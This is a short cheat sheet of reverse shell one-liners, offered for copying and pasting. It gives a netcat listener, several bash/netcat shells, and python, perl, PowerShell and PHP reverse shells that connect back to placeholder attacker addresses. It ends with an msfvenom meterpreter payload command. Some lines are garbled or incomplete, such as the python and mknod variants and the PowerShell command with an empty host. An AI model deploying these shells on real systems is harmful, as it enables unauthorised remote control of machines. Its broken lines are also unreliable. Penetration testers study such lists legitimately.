Reverse Shells

Collection of commonly used reverse shells. Copy and paste.

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  • on attacking machine start a listener

    • #nc -nlvp 4444


#echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <attackIP> 4444 >/tmp/f" >>

There are a lot of bash reverse shells.


#python -c 'import socket,subprocess,os;

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACK-IP",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);["/bin/sh","-i"]);'

depending on target local python you may have to change from python to python2.7/python3.5 etc.

see link for example of python reverse shell with privilege escalation


method 1:

  • #nc -e /bin/sh <ATTACK-IP> 4444

method 2:

  • #/bin/sh | nc <ATTACKING-IP> 4444

method 3:

  • #rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKERip PORT >/tmp/f

method 4:

  • #rm -f /tmp/p; mknod /tmp/p p && nc ATTACKING-IP 4444 0/tmp/p

Upload windows-binaries/nc.exe

  • copy (if you want) netcat binaries to directory you are storing data for your attack

    • #cp /usr/share/windows-binaries/nc.exe nc.exe

    • You need to put this "nc.exe" file on the windows target. Windows needs this binary in order to successfully do a reverse shell using "nc"


  • #perl -e 'use Socket;$i="<ATTACKING-IP>";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'


  • #powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("",4242);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()


  • <?php exec("/bin/bash -c 'bash -i >& /dev/tcp/<attack_ip>/<attack_port> 0>&1'"); phpinfo(); ?>

Metasploit Reverse TCP Windows

  • msfvenom -p windows/meterpreter/reverse_tcp lhost=<attack_ip> lport=<attack_listen_port> -f exe -o filename.exe